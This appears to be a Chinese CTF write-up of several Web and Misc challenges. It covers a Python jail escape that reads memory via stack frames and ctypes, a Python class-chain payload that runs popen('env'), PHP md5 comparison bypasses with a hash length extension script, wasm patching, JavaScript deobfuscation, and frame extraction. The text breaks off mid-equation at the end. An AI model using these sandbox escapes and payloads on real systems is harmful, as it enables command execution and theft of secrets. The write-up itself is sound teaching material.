Web
菜鸟工具2
如何实现python读内存
1./proc/*/fd/*
chroot逃逸
2.利用python实现读取内存
依靠 python 解析自身进程的内存
法一
ctypes
是 Python 的一个标准库模块,它提供了 C 兼容的数据类型,并允许调用共享库中的函数
处理指针:ctypes
允许你在 Python 中操作指针,包括创建、读取和修改指针的值
参考链接: L3HCTF Just a pyjail
大致思路:
- 源码被删除,但程序运行了,内存里肯定是有源码的。
- 没有
/proc
目录,不能通过读文件的方式读内存(参考session伪造利用文件任意读取读取key) - 可以利用指针,把内存的内容读出来,但需要定位一个大致的范围,盲目读取浪费时间
先利用栈帧逃逸到全局,后续需要用到全局的flag
的地址。
接着是利用 ctypes
模块的指针,将flag
地址周围的值读一下,实现一个从内存读源码的操作。
这里我用了char 指针,读出来的是一个字符串,再加上flag头作为判断,可以很快读出flag。
每次位移8的倍数。(可以自行对比任意两个变量的地址,可以发现它们的差值都是8的倍数)
def f():
yield g.gi_frame.f_back.f_back
g = f()
frame = [x for x in g][0]
b = frame.f_back.f_globals
flag_id=id(b['flag'])
ctypes = b["__builtins__"].__import__('ctypes')
#print(ctypes)
for i in range(10000):
txt = ctypes.cast((flag_id-8*i),ctypes.c_char_p).value
if b"flag{" in txt:
print(txt)
break
- 定义生成器函数
f
:
def f():
yield g.gi_frame.f_back.f_back
这个生成器函数f
的目的是生成当前调用栈中比它早两个栈帧的引用。g.gi_frame
是生成器对象g
的帧对象,f_back
属性指向调用它的栈帧。因此,g.gi_frame.f_back.f_back
将指向比f
调用者更早的栈帧。
- 创建生成器对象
g
:
g = f()
这行代码创建了一个生成器对象g
。
- 获取特定栈帧:
frame = [x for x in g][0]
这里通过遍历生成器g
来获取它的第一个(也是唯一的)元素,即那个特定的栈帧。
- 获取全局变量字典:
b = frame.f_back.f_globals
b`是一个字典,它包含了当前栈帧的全局变量。
- 获取
flag
变量的内存地址:
flag_id = id(b['flag'])
使用Python的内置id()
函数获取flag
变量的内存地址。
- 导入
ctypes
模块:
ctypes = b["__builtins__"].__import__('ctypes')
这行代码使用__builtins__
字典和__import__
函数来动态地导入ctypes
模块。
- 遍历内存并尝试读取
flag
的值:
for i in range(10000):
txt = ctypes.cast((flag_id-8*i),ctypes.c_char_p).value
if b"flag{" in txt:
print(txt)
break
这里使用一个循环来遍历内存,尝试读取flag
的值。循环中的i
用于遍历以flag_id
为中心、每次递减8个字节的内存地址。ctypes.cast
用于将内存地址转换为字符指针,然后读取该地址处的字符串。如果读取的字符串中包含"flag{"
,则假设找到了flag
的值,并打印出来。
法二
菜狗工具#2
这题出题人下了狠手想限死解题方式但学艺不精还是给非预期了
首先题目环境在 chroot jail 中,没有 /proc 目录,源文件在 python 把服务跑起来后就删除了,而要获
得被覆写的 flag 内容只剩一个地方可以找,就是依靠 python 解析自身进程的内存
cpython 的实现中暴露了获取 python 栈帧的方法,而每个栈帧都会保存当时的 py 字节码和记录自身上一层的栈帧,而对 flag 的赋值的字节码肯定存在于某个栈帧中,我们只需要从当前栈帧向上找就行了
sys = print.__globals__["__builtins__"].__import__('sys')
io = print.__globals__["__builtins__"].__import__('io')
dis = print.__globals__["__builtins__"].__import__('dis')
threading = print.__globals__["__builtins__"].__import__('threading')
print(threading.enumerate())
print(threading.main_thread())
print(sys._current_frames()[threading.main_thread().ident])
frame = sys._current_frames()[threading.main_thread().ident]
while frame is not None:
out = io.StringIO()
dis.dis(frame.f_code, file=out)
content = out.getvalue()
out.close()
print(content)
frame = frame.f_back
需要注意的是,flask 使用了多线程去处理每个请求,这导致直接在当前线程的栈帧向上找会找不到主线 程的 flag,需要从主线程栈帧向上找
菜鸟工具1
找到wrap_close
模块
找到形同内建函数 相当于可以自动导入函数
print(().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__["popen"]('env').read())
ezPHP
<?php
include "flag.php";
highlight_file(__FILE__);
error_reporting(0);
$a = 'O.U.C';
$query = $_SERVER['QUERY_STRING'];
parse_str($query);
if (preg_match('/_|%5f|\.|%2E/i',$query)){
die('听说你是黑客');
}
echo '你知道b等于什么能绕过这个弱类型吗(〃` 3′〃)'.'<br>';
if (md5($a)**md5($_GET['b'])&&$a!=$_GET['b']){
echo "哎呦,不错喔".'<br>';
$O_U_C=$_GET['O_U_C'];
if (!is_array($O_U_C)&&$O_U_C!**'100'&&preg_match('/^100$/',$O_U_C)){
echo 'but'.'如果我寄出**=阁下又该如何应对๑乛◡乛๑'.'<br>';
if (md5($_POST['md51'])**=md5($_POST['md52'])&&$_POST['md51']!=$_POST['md52']){
echo '好,那么好'.'<br>';
if ($_COOKIE["md5"]**=md5($secret.urldecode($_GET['md5']))){
echo '还是被你解出来了'.' ྀི ྀིɞ ྀི ིྀ ིྀ'.$flag;
}else{
echo '告诉你secret的md5值也无妨,反正哈希是不可逆的๑乛◡乛๑,除非你能箨斩攻击我'.md5($secret.'ouc').'<br>';
}
}else{
echo '不过如此';
}
}else{
die("不行嘛(´ェ`)");
}
}else{
echo '嗨害嗨 (๑ᵒ̴̶̷͈᷄ᗨᵒ̴̶̷͈᷅)';
}
爆破密钥的长度
import requests
import time
import sys
import urllib.parse
from loguru import logger
from common.HashExtAttack import HashExtAttack
hash_ext_attack = HashExtAttack()
logger.remove()
logger.add(sys.stderr, level="INFO")
initial_url = 'http://6b68070d-8ba0-48d3-a92d-4bc8e92766d1.competition.blue-whale.me:20001/ezPHP.php?a=QNKCDZO&b=s878926199a&O U C=100%0A&md5='
for i in range(1, 100):
new_text_part, new_hash = hash_ext_attack.run('ouc', '06d92f344c7d8c89cb164353ca0fa070', '', i)
quote = urllib.parse.quote(new_text_part, safe='&=')
#new_text_part2, new_hash2 = hash_ext_attack.run('', '28aefeaefd98fd5a4b25cc913cd06484', str(int(time.time())+3), i)
url = f"{initial_url}{quote}"
data={"md51[]":"321","md52[]":"123"}
header={"Cookie":f"md5={new_hash}"}
response = requests.post(url,data=data,headers=header)
#print(f"Time:+{int(time.time())}")
#text = response.text
#print(f"Response: {text}")
if "flag{" in response.text:
print(f"found Flag: {response.text}")
break
贪吃蛇
WebAssembly(wasm)是基于堆栈的虚拟机的二进制指令格式。wasm被设计为可编程C / C ++ / Rust等高级语言的可移植目标,可在Web上部署客户端和服务器应用程序
法一
Cetus(针对 WebAssembly 应用的作弊器)
操作类似CE(牛逼)
法二 RE?
wasm逆向和debug 修改代码逻辑
参考链接: WebAssembly
在线网站:wat2wasm demo
先debug,找一个吃到道具能进入debug的断点,然后一直往下找,可以看到 114514
的赋值过程
我这里是把断点打在 call $wbg.__wbg_crypto_d05b68a3572bb8ca
一直往下追,可以看到 114514
的转换代码。
修改这部分代码,然后通过在线工具把它再转回 wasm
,之后再用新的 wasm
debug
这里我把 $var16
改成 0
loop $label8
local.get $var16
i64.const 0
i64.add
local.set $var16
local.get $var1
i32.const 4
i32.add
local.set $var1
local.get $var3
i32.const 1
i32.sub
local.tee $var3
br_if $label8
end $label8
编译得到wasm
,回到本地调试,先在本地用python起一个http服务
python -m http.server -b localhost
接着访问 localhost:8000
即可得到flag
爆率真的高
通过在线网站反混淆可以得到比较简洁的源码
function _0x36f7d7() {
var _0x2b390b = function () {
var _0xc52e83 = true;
return function (_0x25d063, _0x14b0af) {
var _0x435e43 = _0xc52e83 ? function () {
if (_0x14b0af) {
var _0x278c9e = _0x14b0af['apply'](_0x25d063, arguments);
return _0x14b0af = null, _0x278c9e;
}
} : function () {};
return _0xc52e83 = false, _0x435e43;
};
}(),
_0x12600c = _0x2b390b(this, function () {
return _0x12600c['toString']()['search']('(((.+)+)+)+$')['toString']()['constructor'](_0x12600c)['search']('(((.+)+)+)+$');
});
return _0x12600c(), 'line-height:200px; padding-block:100px; padding-left:200px; background-repeat:no-repeat;background-image:url("data:image/svg+xml,%3Csvg xmlns=\'http://www.w3.org/2000/svg\' viewBox=\'0 0 200 200\'%3E%3Cstyle%3E .wrapper %7B font-family: sans-serif; perspective: 500px; text-align: center; position: relative; width: 100%25; height: 100%25; %7D .cube %7B position: absolute; top: 20%25; left: 30%25; transform-style: preserve-3d; transform: rotateY(40deg) rotateX(-40deg); animation: wiggle_wiggle_wiggle_wiggle_wiggle_yeah 3s ease-in-out infinite alternate; %7D .side %7B width: 8rem; height: 8rem; background: rgba(0, 0, 0, 0.8); display: inline-block; position: absolute; line-height: 8rem; color: %23fff; text-align: center; box-sizing: border-box; border: 3px solid %23f00; font-size: 4rem; %7D .front %7B transform: translateZ(4rem); z-index: 1; %7D .back %7B transform: rotateY(180deg) translateZ(4rem); %7D .left %7B transform: rotateY(-90deg) translateZ(4rem); z-index: 1; %7D .right %7B transform: rotateY(90deg) translateZ(4rem); %7D .top %7B transform: rotateX(90deg) translateZ(4rem); %7D .bottom %7B transform: rotateX(-90deg) translateZ(4rem); %7D @keyframes wiggle_wiggle_wiggle_wiggle_wiggle_yeah %7B 0%25 %7B transform: rotateY({a}deg) rotateX(-{a}deg); %7D 100%25 %7B transform: rotateY({b}deg) rotateX(-{b}deg); %7D %7D %3C/style%3E%3CforeignObject width=\'100%25\' height=\'100%25\'%3E%3Cdiv xmlns=\'http://www.w3.org/1999/xhtml\' class=\'wrapper\'%3E%3Cdiv class=\'cube\'%3E%3Cdiv class=\'side front\'%3E1%3C/div%3E%3Cdiv class=\'side back\'%3E2%3C/div%3E%3Cdiv class=\'side left\'%3E3%3C/div%3E%3Cdiv class=\'side right\'%3E4%3C/div%3E%3Cdiv class=\'side top\'%3E5%3C/div%3E%3Cdiv class=\'side bottom\'%3E6%3C/div%3E%3C/div%3E%3C/div%3E%3C/foreignObject%3E%3C/svg%3E")||line-height:50px; padding-left:500px; background-repeat:no-repeat;background-image:url("data:image/svg+xml,%3Csvg xmlns=\'http://www.w3.org/2000/svg\'%3E %3Cpath id=\'path1394\' style=\'fill:none%3Bstroke:%23000000%3Bstroke-width:0.264583px%3Bstroke-linecap:butt%3Bstroke-linejoin:miter%3Bstroke-opacity:1\' d=\'m 221.50185,6.5147602 3.99292,2.94215 0.4203,14.0802888 3.78277,2.521842 -3.78277,2.731996 -0.21015,14.500595 -3.99292,2.942151 m -75.76812,-32.68897 -0.18289,26.152093 4.20628,-0.18288 0.18289,-0.365766 m 39.51762,-10.582347 v 7.863917 l 2.19458,2.926109 h 8.04679 l 2.74323,-3.108992 -0.36576,-7.498151 -1.82882,-3.474754 -8.22968,-0.182882 z m 17.49855,11.609045 -0.18288,-12.070196 2.56034,-3.840517 6.76663,0.182882 2.37746,3.474755 0.18288,12.253076 v 0 M 79.249122,29.337219 v 7.863917 l 2.19458,2.926109 h 8.04679 l 2.74323,-3.108992 -0.36576,-7.498151 -1.82882,-3.474754 -8.22968,-0.182882 z m 106.868818,-7.460739 -10.0585,0.731527 -3.10899,7.315272 0.73153,5.852215 2.74322,3.108989 8.77833,0.182883 0.73152,-0.182883 m -29.84386,-8.105803 8.77833,-0.365762 2.0117,-2.743227 -2.37747,-3.291872 h -8.9612 l -2.19458,4.0234 0.18288,7.863914 3.29187,2.560347 8.0468,-0.365766 m -36.86029,-9.455308 v 7.863917 l 2.19458,2.926109 h 8.04679 l 2.74323,-3.108992 -0.36576,-7.498151 -1.82882,-3.474754 -8.22968,-0.182882 z m -5.20252,-3.51165 -7.58959,-0.182882 -2.28602,3.931959 V 32.0765 l 8.86976,0.182882 1.5545,1.554493 -0.27433,4.206283 -1.46305,2.377461 -8.32112,0.09144 h 0.4572 m -17.006391,0.457205 -0.18288,-12.070196 2.56034,-3.840517 6.766631,0.182882 2.37746,3.474755 0.18288,12.253076 v 0 m -32.373283,-17.720279 -10.058498,0.731527 -3.108989,7.315272 0.731526,5.852215 2.743226,3.108989 8.778325,0.182883 0.731528,-0.182883 m -15.544951,1.645936 0.731528,0.365766 -4.0234,-2.926109 L 56.87623,24.689039 53.401478,22.128694 57.607759,18.836823 57.241995,6.5837438 59.985222,3.4747537 m -17.008004,34.0160083 8.961204,-0.18288 v 0 m -8.961204,0.18288 -0.182883,-10.058495 9.144087,-0.182883 v 22.860222 h -8.961204 l 0.548645,-0.365765 H 43.34298 m -15.54495,-27.98091 5.852215,-0.182882 0.182883,16.276478 m -0.365763,-10.790025 -7.13239,0.182882 V 38.22229 l 12.43596,-0.365763 V 37.490762 M 19.202586,12.43596 l -0.182882,26.152093 4.206281,-0.18288 0.182882,-0.365766 M 14.996305,12.618842 H 10.241379 L 10.058498,38.039407 5.8522165,37.856527 M 3.8405173,22.67734 15.910714,22.494458\' %2F%3E %3C%2Fsvg%3E")||console.log||console.clear||Math.random||Math.floor||setTimeout';
}
var _0x4d032d = eval(_0x36f7d7()['split']('||')[2]),
_0x4d3fb4 = eval(_0x36f7d7()['split']('||')[3]),
_0x280bbf = eval(_0x36f7d7()['split']('||')[4]),
_0x3ede16 = eval(_0x36f7d7()['split']('||')[5]),
_0x13a155 = eval(_0x36f7d7()['split']('||')[6]);
(function (_0x5da15b) {
return _0x5da15b(_0x5da15b);
})(function (_0xc4be8d) {
return function (_0x3a3176) {
for (var _0x7936d0 = 0; _0x7936d0 < 100; _0x7936d0++) {
var _0x38d961 = false,
_0x48b8aa = _0x36f7d7()['split']('||')[0],
_0x48a4aa = 60 * _0x7936d0 / 100,
_0x54870d = 60 - 60 * _0x7936d0 / 100;
_0x280bbf() >= 0.9999 && (_0x48b8aa = _0x36f7d7()['split']('||')[1], _0x38d961 = true);
_0x4d032d('%c ', _0x48b8aa['replace'](/\{a\}/gm, _0x48a4aa + '')['replace'](/\{b\}/gm, _0x54870d + ''));
if (_0x38d961) _0x4d3fb4();
}
_0x13a155(function () {
_0xc4be8d(_0xc4be8d)();
}, 500), _0x13a155(_0x4d3fb4, 450);
};
})();
通过分析,可以知道当 Math.random>= 0.9999
时,会输出flag,手动调整一下代码,即可得到flag。
var _0x36f7d7 = 'line-height:200px; padding-block:100px; padding-left:200px; background-repeat:no-repeat;background-image:url("data:image/svg+xml,%3Csvg xmlns=\'http://www.w3.org/2000/svg\' viewBox=\'0 0 200 200\'%3E%3Cstyle%3E .wrapper %7B font-family: sans-serif; perspective: 500px; text-align: center; position: relative; width: 100%25; height: 100%25; %7D .cube %7B position: absolute; top: 20%25; left: 30%25; transform-style: preserve-3d; transform: rotateY(40deg) rotateX(-40deg); animation: wiggle_wiggle_wiggle_wiggle_wiggle_yeah 3s ease-in-out infinite alternate; %7D .side %7B width: 8rem; height: 8rem; background: rgba(0, 0, 0, 0.8); display: inline-block; position: absolute; line-height: 8rem; color: %23fff; text-align: center; box-sizing: border-box; border: 3px solid %23f00; font-size: 4rem; %7D .front %7B transform: translateZ(4rem); z-index: 1; %7D .back %7B transform: rotateY(180deg) translateZ(4rem); %7D .left %7B transform: rotateY(-90deg) translateZ(4rem); z-index: 1; %7D .right %7B transform: rotateY(90deg) translateZ(4rem); %7D .top %7B transform: rotateX(90deg) translateZ(4rem); %7D .bottom %7B transform: rotateX(-90deg) translateZ(4rem); %7D @keyframes wiggle_wiggle_wiggle_wiggle_wiggle_yeah %7B 0%25 %7B transform: rotateY({a}deg) rotateX(-{a}deg); %7D 100%25 %7B transform: rotateY({b}deg) rotateX(-{b}deg); %7D %7D %3C/style%3E%3CforeignObject width=\'100%25\' height=\'100%25\'%3E%3Cdiv xmlns=\'http://www.w3.org/1999/xhtml\' class=\'wrapper\'%3E%3Cdiv class=\'cube\'%3E%3Cdiv class=\'side front\'%3E1%3C/div%3E%3Cdiv class=\'side back\'%3E2%3C/div%3E%3Cdiv class=\'side left\'%3E3%3C/div%3E%3Cdiv class=\'side right\'%3E4%3C/div%3E%3Cdiv class=\'side top\'%3E5%3C/div%3E%3Cdiv class=\'side bottom\'%3E6%3C/div%3E%3C/div%3E%3C/div%3E%3C/foreignObject%3E%3C/svg%3E")||line-height:50px; padding-left:500px; background-repeat:no-repeat;background-image:url("data:image/svg+xml,%3Csvg xmlns=\'http://www.w3.org/2000/svg\'%3E %3Cpath id=\'path1394\' style=\'fill:none%3Bstroke:%23000000%3Bstroke-width:0.264583px%3Bstroke-linecap:butt%3Bstroke-linejoin:miter%3Bstroke-opacity:1\' d=\'m 221.50185,6.5147602 3.99292,2.94215 0.4203,14.0802888 3.78277,2.521842 -3.78277,2.731996 -0.21015,14.500595 -3.99292,2.942151 m -75.76812,-32.68897 -0.18289,26.152093 4.20628,-0.18288 0.18289,-0.365766 m 39.51762,-10.582347 v 7.863917 l 2.19458,2.926109 h 8.04679 l 2.74323,-3.108992 -0.36576,-7.498151 -1.82882,-3.474754 -8.22968,-0.182882 z m 17.49855,11.609045 -0.18288,-12.070196 2.56034,-3.840517 6.76663,0.182882 2.37746,3.474755 0.18288,12.253076 v 0 M 79.249122,29.337219 v 7.863917 l 2.19458,2.926109 h 8.04679 l 2.74323,-3.108992 -0.36576,-7.498151 -1.82882,-3.474754 -8.22968,-0.182882 z m 106.868818,-7.460739 -10.0585,0.731527 -3.10899,7.315272 0.73153,5.852215 2.74322,3.108989 8.77833,0.182883 0.73152,-0.182883 m -29.84386,-8.105803 8.77833,-0.365762 2.0117,-2.743227 -2.37747,-3.291872 h -8.9612 l -2.19458,4.0234 0.18288,7.863914 3.29187,2.560347 8.0468,-0.365766 m -36.86029,-9.455308 v 7.863917 l 2.19458,2.926109 h 8.04679 l 2.74323,-3.108992 -0.36576,-7.498151 -1.82882,-3.474754 -8.22968,-0.182882 z m -5.20252,-3.51165 -7.58959,-0.182882 -2.28602,3.931959 V 32.0765 l 8.86976,0.182882 1.5545,1.554493 -0.27433,4.206283 -1.46305,2.377461 -8.32112,0.09144 h 0.4572 m -17.006391,0.457205 -0.18288,-12.070196 2.56034,-3.840517 6.766631,0.182882 2.37746,3.474755 0.18288,12.253076 v 0 m -32.373283,-17.720279 -10.058498,0.731527 -3.108989,7.315272 0.731526,5.852215 2.743226,3.108989 8.778325,0.182883 0.731528,-0.182883 m -15.544951,1.645936 0.731528,0.365766 -4.0234,-2.926109 L 56.87623,24.689039 53.401478,22.128694 57.607759,18.836823 57.241995,6.5837438 59.985222,3.4747537 m -17.008004,34.0160083 8.961204,-0.18288 v 0 m -8.961204,0.18288 -0.182883,-10.058495 9.144087,-0.182883 v 22.860222 h -8.961204 l 0.548645,-0.365765 H 43.34298 m -15.54495,-27.98091 5.852215,-0.182882 0.182883,16.276478 m -0.365763,-10.790025 -7.13239,0.182882 V 38.22229 l 12.43596,-0.365763 V 37.490762 M 19.202586,12.43596 l -0.182882,26.152093 4.206281,-0.18288 0.182882,-0.365766 M 14.996305,12.618842 H 10.241379 L 10.058498,38.039407 5.8522165,37.856527 M 3.8405173,22.67734 15.910714,22.494458\' %2F%3E %3C%2Fsvg%3E")||console.log||console.clear||Math.random||Math.floor||setTimeout';
var _0x38d961 = false,
_0x48b8aa = _0x36f7d7['split']('||')[1],
_0x48a4aa = 60 * 0 / 100,
_0x54870d = 60 - 60 * 0 / 100;
//console.log(_0x48b8aa);
console.log('%c ', _0x48b8aa['replace'](/\{a\}/gm, _0x48a4aa + '')['replace'](/\{b\}/gm, _0x54870d + ''));
// flag{consolecon}
出题人题解
这题出题人真不是想用混淆逆向来恶心人的,要真这么干已经混淆到妈都不认得了(bushi)
这题主要想考察的是在现代前端框架化组件化、打包工具的发展的情形下,阅读前端代码已经越来越困
难,此时需要有的黑盒思维。JS runtime 里的 API 不像 python 一样可以通过 hack 字节码之类的绕过,
它就在那,对复杂恶心的代码可以通过观察其与 API 的交互,来控制其行为
在控制台输出或者清除内容时,点击右侧的来源,可以追进此时的 js 执行上下文,在此处打断点,可以
发现周遭的变量的 name 属性好像都有点东西
打断点后查看变量名
其中,一个叫 log,标黄的叫 random,下面还有个 clear。而浏览器控制控制台输出的 API 就只有
console.xxx,结合题目不难想到 random 也来自 Math 模块。此时我们只要给网页保存下来,全给它一开始就换掉就行了
这两行代码分别重写了JavaScript中Math.random
和console.clear
方法的默认行为
Misc
一眼盯帧
https://web.baimiaoapp.com/
http://www.esjson.com/delSpace.html
每帧分离
ffmpeg -ss 10 -i input.mp4 -t 5 output_%03d.png
删除无关文件 关键文件大小在75kb-95kb之间
import os
from PIL import Image
# 设定图片大小的范围(以字节为单位)
min_size = 75 * 1024 # 75KB
max_size = 95 * 1024 # 95KB
# 遍历当前目录下的所有.png文件
for filename in os.listdir('.'):
if filename.endswith('.png'):
# 打开图片文件并获取其大小
file_path = os.path.join('.', filename)
img = Image.open(file_path)
img.load() # 确保图片数据已加载
file_size = os.path.getsize(file_path)
# 检查图片大小是否在指定范围内
if min_size <= file_size <= max_size:
print(f"保留图片: {filename}, 大小: {file_size} bytes")
# 可以选择将图片移动到另一个目录,或者进行其他处理
else:
print(f"删除图片: {filename}, 大小: {file_size} bytes")
# 删除不符合要求的图片
os.remove(file_path)
利用Python Numpy处理线性方程 解系数
import numpy as np
import re
# 这是提供的带有方程的字符串
text = """
40*a1 +42*a2 +69*a3 +91*a4 + 91*a5 + 74*a6 + 45*a7 +49*a8 + 99*a9 +41*a10 + 79*a11 + 26*a12 +51*a13+ 74*a14+84*a15 + 31*a16 +74*a17 +11*a18+87*a19 +76*a20 +26*a21 +40*a22 + 13*a23 +31*a24 + 39*a25 + 7*a26 +84*a27 + 65*a28 +25*a29 + 88*a30+13*a31=159700 76*a1+23*a2 +47*a3 +95*a4 +56*a5 + 94*a6 + 9*a7 +89*a8 + 1*a9 +27*a10 + 64*a11 + 54*a12 +77*a13 +57*a14 +11*a15 + 80*a16+61*a17+98*a18 + 14*a19 + 72*a20 + 67*a21 +98*a22 + 66*a23 +26*a24 +11*a25+36*a26 +94*a27 +66*a28 +99*a29 + 64*a30 +40*a31=171444 49*a1 + 38*a2 + 20*a3 +28*a4 +36*a5 + 44*a6 +85*a7 +48*a8 + 74*a9 +73*a10 +27*a11 +99*a12 +21*a13+ 72*a14 + 89*a15 + 3*a16 +3*a17 +72*a18 + 71*a19 + 29*a20 +92*a21 +19*a22 + 42*a23+87*a24 +97*a25 +36*a26 +84*a27 +56*a28 +96*a29 + 40*a30 +82*a31=164206 81*a1 + 88*a2 +41*a3 +98*a4+ 8*a5 + 70*a6 + 19*a7 + 85*a8 + 37*a9 +64*a10 + 24*a11 +96*a12 + 94*a13 + 78*a14 + 81*a15 + 38*a16 + 10*a17 +87*a18 + 75*a19 + 35*a20 + 7*a21 + 98*a22 + 63*a23 + 37*a24 + 4*a25 +40*a26 +13*a27 + 83*a28 + 99*a29 + 61*a30 + 60*a31= 171511 53*a1 + 39*a2 + 10*a3 +36*a4 + 37*a5 + 42*a6 + 69*a7 +66*a8 + 22*a9 +33*a10 + 34*a11 + 4*a12 +77*a13 + 94*a14 +51*a15 + 87*a16+3*a17+ 34*a18 + 44*a19 +17*a20+48*a21 + 31*a22 + 62*a23+15*a24 +59*a25 +39*a26 +42*a27 +48*a28 +63*a29 + 44*a30 +84*a31= 131705 95*a1 + 37*a2 +70*a3 +10*a4+ 72*a5 + 37*a6 +26*a7 +11*a8 + 89*a9 +36*a10 + 80*a11 + 81*a12 + 13*a13 + 84*a14 +79*a15 + 69*a16 + 15*a17 + 53*a18+52*a19 +92*a20 +13*a21 +44*a22 + 33*a23 +48*a24 +77*a25 +40*a26 +50*a27 +20*a28 +9*a29 + 69*a30 +44*a31= 149011 58*a1 + 53*a2 +93*a3 + 4*a4 +33*a5 + 76*a6 + 88*a7 +7*a8 + 21*a9+24*a10 +8*a11 +35*a12 +64*a13 +54*a14 +20*a15 + 1*a16+4*a17 +42*a18 + 29*a19 + 96*a20 + 40*a21 +22*a22 + 39*a23 + 47*a24 + 4*a25 +42*a26 + 31*a27 + 69*a28 + 39*a29 + 6*a30 +50*a31=114939 89*a1 + 73*a2 +43*a3 + 41*a4 + 28*a5 + 19*a6 + 83*a7 + 32*a8 + 65*a9 +37*a10 +22*a11 +22*a12 +42*a13 +74*a14 + 43*a15 + 72*a16+4*a17 +94*a18 + 66*a19 + 60*a20 + 63*a21 +91*a22 + 69*a23 + 7*a24 + 39*a25 + 96*a26 + 76*a27 +5*a28 +32*a29 + 57*a30 +22*a31= 147181 76*a1 + 83*a2 + 10*a3 + 31*a4 +18*a5 + 2*a6 + 2*a7 + 65*a8 + 27*a9 + 47*a10 +63*a11 +61*a12 + 77*a13 + 38*a14+22*a15 + 49*a16+4*a17 +2*a18 +63*a19 +24*a20 +16*a21 + 36*a22 + 48*a23 + 50*a24 +40*a25 + 78*a26 + 19*a27 + 95*a28 +73*a29 + 47*a30 +56*a31 = 128931 93*a1 + 3*a2 +86*a3 + 90*a4 + 97*a5 +11*a6 + 66*a7 +69*a8 + 96*a9 +62*a10 +40*a11 +58*a12 +25*a13+64*a14 + 50*a15 + 65*a16+59*a17 + 5*a18 + 7*a19 +55*a20 +92*a21 +29*a22 + 35*a23 +83*a24 +59*a25 + 55*a26 + 51*a27 +62*a28+1*a29 + 64*a30 +12*a31=159474 60*a1 +19*a2 +66*a3 +62*a4 + 42*a5 + 86*a6 + 61*a7 +63*a8 + 56*a9 +2*a10 +46*a11 +7*a12 + 7*a13 +2*a14 + 16*a15 + 97*a16 +12*a17 + 28*a18 + 11*a19 +92*a20 + 26*a21 +64*a22 + 63*a23 +62*a24 +45*a25+56*a26 +50*a27 +97*a28 +62*a29 + 71*a30 + 65*a31 = 146558 6*a1 + 78*a2 +51*a3 +74*a4+1*a5 + 25*a6 + 41*a7 +99*a8 + 52*a9+74*a10 +30*a11 + 97*a12 +63*a13 +2*a14 +25*a15 + 76*a16 + 56*a17 + 35*a18 +28*a19 + 34*a20 + 40*a21 +18*a22 + 65*a23 + 67*a24 + 43*a25 + 78*a26 +6*a27 +54*a28 +38*a29 + 45*a30+81*a31=146290 58*a1 + 47*a2 +72*a3 +43*a4 + 99*a5 + 36*a6 + 89*a7 +31*a8 + 61*a9 + 66*a10 +59*a11 +74*a12 +32*a13 +2*a14 +39*a15 + 73*a16 +86*a17 + 63*a18 + 18*a19 +92*a20 + 44*a21 +67*a22 + 37*a23 +66*a24 +25*a25 + 32*a26 +59*a27 +31*a28+11*a29 + 41*a30 + 65*a31 = 157439 79*a1+18*a2+22*a3+73*a4+ 21*a5 + 76*a6 + 5*a7 +27*a8 + 36*a9 +22*a10 + 90*a11 +23*a12 +20*a13 +88*a14 +77*a15 + 18*a16 + 10*a17 +14*a18 + 80*a19 + 1*a20 + 96*a21 +97*a22 + 41*a23 +90*a24 +53*a25 + 20*a26 +41*a27 +2*a28 +87*a29 + 8*a30 +40*a31=127198 11*a1 + 79*a2 + 17*a3 + 68*a4+ 26*a5 + 38*a6 +23*a7 +78*a8 + 82*a9 +71*a10 +46*a11 +18*a12 +20*a13 +19*a14 +89*a15 + 86*a16 +20*a17 +54*a18 +47*a19 +15*a20+62*a21 +49*a22 + 97*a23 + 75*a24 +17*a25+76*a26 +52*a27 +62*a28 +65*a29 + 89*a30 + 80*a31 = 158569 79*a1 + 10*a2 +66*a3+31*a4+76*a5 + 58*a6 +45*a7 +64*a8 + 97*a9 +9*a10 + 15*a11 + 6*a12 +61*a13 + 65*a14 +52*a15 + 1*a16 + 38*a17 + 11*a18 + 66*a19 + 21*a20 +30*a21 + 76*a22 + 41*a23 + 75*a24 +52*a25+45*a26 +91*a27 +96*a28 +29*a29 + 64*a30 +59*a31 = 149303 87*a1 +64*a2 +72*a3 +22*a4 + 38*a5 + 64*a6 + 27*a7 +35*a8 + 18*a9 + 24*a10 +64*a11 +80*a12 + 35*a13 + 56*a14 + 39*a15 + 97*a16+83*a17 + 88*a18 + 21*a19 + 51*a20 +76*a21 +63*a22 + 54*a23 +38*a24 +92*a25+56*a26 +84*a27 +75*a28 +38*a29 + 2*a30 + 43*a31=162212 94*a1 +70*a2 +72*a3 +93*a4 +17*a5 +56*a6 + 53*a7 +78*a8 + 72*a9 + 49*a10 +86*a11 +62*a12 + 41*a13 + 85*a14 +69*a15 + 71*a16+20*a17 + 34*a18 + 24*a19 + 24*a20 + 14*a21 +86*a22 + 54*a23 +13*a24 +41*a25 +68*a26 + 31*a27 +50*a28 +23*a29 + 94*a30 +72*a31= 162137 34*a1 + 95*a2 +66*a3 +79*a4 + 91*a5 + 35*a6 + 8*a7 +16*a8 + 95*a9 + 95*a10 + 40*a11 + 68*a12 + 13*a13 + 54*a14+80*a15 + 98*a16 +15*a17 + 39*a18+ 41*a19 + 79*a20 +34*a21 +54*a22 + 92*a23+17*a24 +97*a25 + 76*a26 +49*a27 +95*a28 +6*a29 + 83*a30 +79*a31=180077 74*a1 + 42*a2 +45*a3 +72*a4 +6*a5 + 3*a6 +59*a7 +47*a8 + 57*a9 +62*a10+85*a11 +6*a12 +72*a13+25*a14 +78*a15 + 27*a16 + 6*a17 +27*a18+61*a19 +88*a20 +60*a21+89*a22 + 53*a23 +76*a24 +97*a25 +56*a26 + 52*a27 +26*a28 + 5*a29 + 7*a30 +35*a31=142239 53*a1 + 30*a2 +63*a3 + 88*a4 + 54*a5 + 99*a6 +40*a7 +85*a8 + 42*a9+ 35*a10 +99*a11 +88*a12 +55*a13 + 8*a14 +24*a15 + 91*a16 +55*a17 +23*a18+53*a19 +68*a20+76*a21 +49*a22 + 32*a23 +80*a24 +81*a25+95*a26 +21*a27 +73*a28 +83*a29 + 46*a30 +44*a31=179115 55*a1+43*a2 +39*a3 +27*a4+ 19*a5 + 41*a6 + 7*a7 + 70*a8 + 54*a9 +53*a10 + 38*a11 + 72*a12 + 50*a13+1*a14 +15*a15 + 89*a16+79*a17+17*a18 + 32*a19 + 58*a20 +64*a21 +68*a22 + 12*a23+92*a24 +53*a25 +33*a26 + 54*a27 + 67*a28 +34*a29 + 25*a30 +37*a31=140482 89*a1 + 93*a2 + 48*a3 +5*a4 +37*a5 + 76*a6 + 32*a7 + 66*a8 + 25*a9 + 39*a10 + 59*a11 + 14*a12 +48*a13 +62*a14 +4*a15 + 76*a16 + 72*a17 + 